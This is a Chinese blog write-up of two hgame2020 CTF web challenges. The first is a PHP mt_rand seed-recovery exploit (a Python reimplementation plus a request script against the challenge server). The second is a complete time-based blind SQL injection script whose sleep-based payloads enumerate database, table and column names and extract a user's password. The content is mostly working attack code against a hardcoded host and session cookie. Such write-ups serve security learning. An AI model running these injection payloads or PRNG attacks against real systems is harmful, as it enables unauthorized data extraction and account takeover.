hgame2020-Level-Week3_Web_writeup

hgame2020-Level-Week3_Web_writeup

二发入魂!

这里具体可以看这篇文章,BREAKING PHP’S MT_RAND() WITH 2 VALUES AND NO BRUTEFORCE,原理很不错,值得研究。

把下面两个文件放在同一目录下

reverse_mt_rand.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/env python3.6
# Charles Fol
# @cfreal_
# 2020-01-04 (originally la long time ago ~ 2010)
# Breaking mt_rand() with two output values and no bruteforce.
#
"""
R = final rand value
S = merged state value
s = original state value
"""

import random
import sys

N = 624
M = 397

MAX = 0xffffffff
MOD = MAX + 1

# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293

MT_RAND_MT19937 = 1
MT_RAND_PHP = 0


def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i - 1]
state[i] = (STATE_MULT * (r ^ (r >> 30)) + i) & MAX
return state


def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
# We have:
# state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000
# and:
# (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse)
# => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000)
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s


def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30


def php_mt_rand(s1):
"""Converts a merged state value `s1` into a random value, then sent to the
user.
"""
s1 ^= (s1 >> 11)
s1 ^= (s1 << 7) & 0x9d2c5680
s1 ^= (s1 << 15) & 0xefc60000
s1 ^= (s1 >> 18)
return s1


def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000

s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)

s1 ^= s1 >> 11
s1 ^= s1 >> 22

return s1


def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v


def bits(v, start, size):
return lobits(v >> start, size)


def lobits(v, b):
return v & ((1 << b) - 1)


def bit(v, b):
return v & (1 << b)


def bv(v, b):
return bit(v, b) >> b


def php_mt_reload(state, flavour):
s = state
for i in range(0, N - M):
s[i] = _twist_php(s[i + M], s[i], s[i + 1], flavour)
for i in range(N - M, N - 1):
s[i] = _twist_php(s[i + M - N], s[i], s[i + 1], flavour)


def _twist_php(m, u, v, flavour):
"""Emulates the `twist` and `twist_php` #defines.
"""
mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask


def undo_php_mt_reload(S000, S227, offset, flavour):
# define twist_php(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))
# m S000
# u S227
# v S228
X = S000 ^ S227

# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df

# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30

# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
continue
s228 = s228_0 | s228_31 << 31 | s228_1_30

# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228 + offset)
if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue

# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228 + offset)
state = php_mt_initialize(rand)
php_mt_reload(state, flavour)

if not (S000 == state[offset]):
continue

return rand
return None


def main(_R000, _R227, offset, flavour):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1

for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset, flavour)
if seed:
return seed

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
import requests
from reverse_mt_rand import main
url = 'https://twoshot.hgame.n3ko.co'
r = requests.Session()
random_num = r.get(url + '/random.php?times=229').text
random_num = eval(random_num)
first_arg = random_num[0]
second_arg = random_num[227]
third_arg = 0
end_arg = 0
result = main(first_arg,second_arg,third_arg,end_arg)
print(r.post(url=url+"/verify.php",data={"ans": str(result)}).text)

运行exp.py即可得到flag

Cosmos的留言板-2

这里是比较简单的延时盲注,几乎没有任何过滤,用二分法即可跑出来,脚本如下

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time
import re
url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id='
headers = {'Cookie': 'PHPSESSID=q80egc37cuo61j1ftstcc25ej9'}
def create_message():
url = 'http://139.199.182.61:19999/index.php?method=send'
html = requests.post(url=url, data={'message': '1'}, headers=headers).text
return max(re.findall(r"<a href=.+method=delete&delete_id=(.+)'>",html))
def binary_search_sql(start,end,payload,length=2):
name = ''
for i in range(1,length+1):
left = start
right = end
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
start_time = time.time()
full_payload = payload.format(id=create_message(),num1=str(i),num2=str(mid))
requests.get(url=url+full_payload,headers=headers)
print(full_payload)
if time.time() - start_time > 2.5:
right = mid
else:
left = mid
return name

# 这里爆破库名长度
# 7
database_length_payload = "{id} and if(ascii(mid(length(database()),{num1},1))<{num2},sleep(3),1)"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)

# 这里爆破库名
# babysql
database_payload = "{id} and if(ascii(mid((database()),{num1},1))<{num2},sleep(3),1)"
print('database_name:'+binary_search_sql(33,127,database_payload,7))

# 这里爆破表名长度
# 13
table_length_payload = "{id} and if((ascii(mid((length((select group_concat(table_name) from information_schema.tables where table_schema=database()))),{num1},1))<{num2}),sleep(3),1)"
table_length = binary_search_sql(48,57,table_length_payload)
print('table_length:'+table_length)

# 这里爆破表名
# messages,user
table_name_payload = "{id} and if((ascii(mid(((select group_concat(table_name) from information_schema.tables where table_schema=database())),{num1},1))<{num2}),sleep(3),1)"
print('table_name:'+binary_search_sql(33,127,table_name_payload,int(table_length)))

# 这里爆破messages表下的字段长度
# 26
column_length_payload = '{id} and if((ascii(mid(length((select group_concat(column_name) from information_schema.columns where table_name=0x6D65737361676573)),{num1},1)) <{num2}),sleep(3),1)'
column_length = binary_search_sql(48,57,column_length_payload)
print('column_length:'+column_length)

# 这里爆破messages表下的字段
# message_id,user_id,message
column_name_payload = '{id} and if((ascii(mid(((select group_concat(column_name) from information_schema.columns where table_name=0x6D65737361676573)),{num1},1))<{num2}),sleep(3),1)'
print('column_name:'+binary_search_sql(33,127,column_name_payload,int(column_length)))

# 这里爆破user表下的字段长度
# 16
column2_length_payload = '{id} and if((ascii(mid(length((select group_concat(column_name) from information_schema.columns where table_name=0x75736572)),{num1},1)) <{num2}),sleep(3),1)'
column2_length = binary_search_sql(48,57,column2_length_payload)
print('column_length:'+column2_length)

# 这里爆破user表下的字段
# id,name,password
column2_name_payload = '{id} and if((ascii(mid(((select group_concat(column_name) from information_schema.columns where table_name=0x75736572)),{num1},1))<{num2}),sleep(3),1)'
print('column_name:'+binary_search_sql(33,127,column2_name_payload,int(column2_length)))

# 这里爆破user表下的数据长度
# 28
data_user_length_payload = '{id} and if((ascii(mid(length((select password from babysql.user where name=\'cosmos\')),{num1},1))<{num2}),sleep(3),1)'
data_user_length = binary_search_sql(48,57,data_user_length_payload)
print('data_user_length:'+data_user_length)

# 这里爆破user表下的数据
data_user_payload = '{id} and if((ascii(mid((select password from babysql.user where name=\'cosmos\'),{num1},1))<{num2}),sleep(3),1)'
print('data_user:'+binary_search_sql(33,127,data_user_payload,int(data_user_length)))

然后得到cosmos的密码,登录即可得到flag

本文标题:hgame2020-Level-Week3_Web_writeup

文章作者:xianyu123

发布时间:2020年02月04日 - 12:28

最后更新:2020年02月28日 - 20:21

原始链接:http://0clickjacking0.github.io/2020/02/04/hgame2020-Level-Week3-Web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------